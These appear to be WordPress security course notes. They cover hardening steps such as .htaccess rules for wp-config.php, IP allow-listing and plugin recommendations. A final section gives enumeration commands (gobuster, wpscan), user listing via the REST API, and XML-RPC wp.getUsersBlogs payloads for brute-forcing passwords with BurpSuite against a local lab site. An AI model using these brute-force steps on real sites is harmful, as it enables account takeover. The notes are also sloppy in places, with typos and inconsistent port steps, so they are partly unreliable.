Course Outline:

1. Roles and users Proper Usage
2. Modify wp-config File
3. Restrict Access to your ip
4. Set Correct File Permissions
5. Control and Filler spam Comments
6. Connect DB Prefix
7. Setup SecretKeys
8. Disable Direcroty Browsing/Listing
9. Secure own Wp login and your Wp
10. How and Why to use a web Application

1. Roles and users Proper Usage

Super Admin: This is the highest level role in WordPress. Super Admins have full control over the entire site, including the ability to add and remove users, change permissions, and edit settings.

Administrator: Administrators have most of the same powers as Super Admins, but they cannot add or remove other administrators. They are typically responsible for managing the day-to-day operations of the site, such as adding and editing content, moderating comments, and managing users.

Editor: Editors can create, edit, and publish content on the site. They can also moderate comments and manage users, but they cannot change settings or add plugins.

Author: Authors can create and edit content, but they cannot publish it. Their content must be approved by an Editor or Administrator before it goes live.

Contributor: Contributors can only create and edit content, but they cannot publish it or moderate comments. Their content must be approved by an Editor or Administrator before it goes live.

Subscriber: Subscribers can only read content on the site. They cannot create, edit, or publish content.

Links

https://wordpress.org/plugins/user-role-editor/
https://wordpress.org/plugins/user-registration/
https://wordpress.org/plugins/capability-manager-enhanced/
https://wordpress.org/plugins/hide-admin-bar-based-on-user-roles/
https://wordpress.org/plugins/import-users-from-csv-with-meta/
https://wordpress.org/plugins/members/
https://wordpress.org/plugins/wpfront-user-role-editor/
https://wordpress.org/plugins/advanced-access-manager/

How to secure WP-Config.php File::

Secure Config.php File:

Open the .htaccess file Then Type:

#secure wp-config.php
<files wp-config.php>
order allow, deny
deny from all
</files>

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wpssg');

/** MySQL database username */
define('DB_USER', 'wpssg_u');

/** MySQL database password */
define('DB_PASSWORD', 'mIa*bu%Kd^S{');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

Copy and Direcoty config.php and rename a random name

Then in wp-config.php then type :

<?php
include('/pathlist/config.php');

Protect Admin Panel By IP:

Go to .htaccess File Use any Pattern:

order deny,allow
allow from 123.45.67.89
allow from abc.de.fg.hi
allow from 172.84.52.13
deny from all

order allow,deny
deny from 178.44.253.196
allow from all

Apache 2.4
ALLOW USER BY IP
<Limit GET POST>
Require all denied
Require ip 1.2.3.4
</Limit>

Apache 2.2
ALLOW USER BY IP
<Limit GET POST>
order deny,allow
deny from all
allow from 1.2.3.4
</Limit>

https://wordpress.org/plugins/restricted-site-access/ > wp-admin/options-reading.php
https://wordpress.org/plugins/when-last-login/

Disable Direcory Listing:

open .htaccess file > Options –Indexes

https://wordpress.org/plugins/wp-security-hardening/

Protect Login Area::

https://wordpress.org/plugins/protect-admin-account
https://wordpress.org/plugins/protect-wp-admin/
https://en-gb.wordpress.org/plugins/wps-limit-login/
https://wordpress.org/plugins/wps-hide-login/

Spam FIlter:

https://wordpress.org/plugins/fullworks-anti-spam/
https://wordpress.org/plugins/cleantalk-spam-protect/

Change LoginPage:

https://wordpress.org/plugins/change-wp-admin-login/
https://wordpress.org/plugins/wps-hide-login/

Change Wordpress Prefix :

https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/
https://wphive.com/plugins/brozzme-db-prefix-change/
https://wordpress.org/plugins/brozzme-db-prefix-change/
https://wordpress.org/plugins/change-table-prefix/

Set String Cypher Suite in my SIte :

Goto https://api.wordpress.org/secret-key/1.1/salt/ and copy the lines and goto wp-config.php paste the Lines

All Link:

https://www.getastra.com/blog/cms/wordpress-security/15-wordpress-configuration-tricks/
https://www.getastra.com/blog/cms/wordpress-security/wordpress-firewall-plugin-hack-removal/
https://www.getastra.com/blog/911/wordpress-files-hacked-wp-config-php-hack/
https://www.getastra.com/blog/911/secure-wp-config-file/
https://www.getastra.com/blog/quiz/wordpess-security/
https://www.getastra.com/blog/cms/wordpress-security/secure-wordpress-admin-from-hackers-changing-admin-adding-ip-restrictions-htpasswd/
https://www.getastra.com/blog/911/fix-wordpress-admin-dashboard-wp-admin-hack/
https://www.getastra.com/blog/cms/wordpress-security/wordpress-file-permissions/
https://www.getastra.com/blog/cms/wordpress-security/most-common-wordpress-attacks/
https://www.getastra.com/blog/quiz/wordpess-security/
https://www.getastra.com/blog/cms/wordpress-security/best-wordpress-security-practices/
https://www.getastra.com/blog/cms/wordpress-security/hide-wp-includes-wp-content-uploads-from-your-wordpress-site/
https://www.getastra.com/blog/911/wp-vcd-malware-removal/
https://www.getastra.com/blog/quiz/wordpess-security/
https://www.getastra.com/blog/cms/wordpress-security-issues/
https://www.getastra.com/blog/cms/wordpress-security/common-wordpress-mistakes/
https://www.getastra.com/blog/cms/wordpress-security/hide-wp-includes-wp-content-uploads-from-your-wordpress-site/
https://www.getastra.com/blog/911/wp-vcd-malware-removal/
https://www.getastra.com/blog/category/cms/wordpress-security/
https://www.getastra.com/blog/911/wordpress-files-hacked-wp-config-php-hack/

Course Link

Download : Xampp Wordpress

Goto Xammp Panel and Go to Config of Apache Module (apache httpd.conf) and replace 8080 to 80
Access Url: http://127.0.0.1:8080/dashboard/
Php My Admin : http://127.0.0.1:8080/phpmyadmin/
Create a New Data Base : Wordpress
To Access The WordPress : http://127.0.0.1:8080/wordpress

Set Database Name Wordpress and UserName root
Then Fillup the Forms.
Bhoom The Wordpress Site is Ready….

The important Files is : .htaccess , wp-admin, wp-content, wp-includes

--Wordpress Directory Scan:

gobuster dir -u <url> -t 20 -w /home/kali/tools/wordlists/wordpress.fuzz.txt -q

--WpScan:

wpscan -h
wpscan --url <url> -e p,t,u

--BruteForce By Xmlrpc:

Example : http://127.0.0.1:8080/wordpress/xmlrpc.php If you find this Message "XML-RPC server accepts POST requests only." thats means you can attack
For Know Users : http://127.0.0.1:8080/wordpress/wp-json/wp/v2/users

Must be GET will be **POST**

Code 01:
```
<methodCall>
        <methodName>
                system.listMethods
        </methodName>
   <params>
   </params>
</methodCall>
```

Code 02:
```
<methodCall>
        <methodName>
                demo.sayHello
        </methodName>
  <params>
  </params>
</methodCall>
```

Code 03:

```
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
        <methodName>wp.getUsersBlogs</methodName>
  <params>
        <param><value>admin</value></param>
        <param><value>password</value></param>
  </params>
</methodCall>
```

Then Bruteforce in password by BurpSuite

Tools Download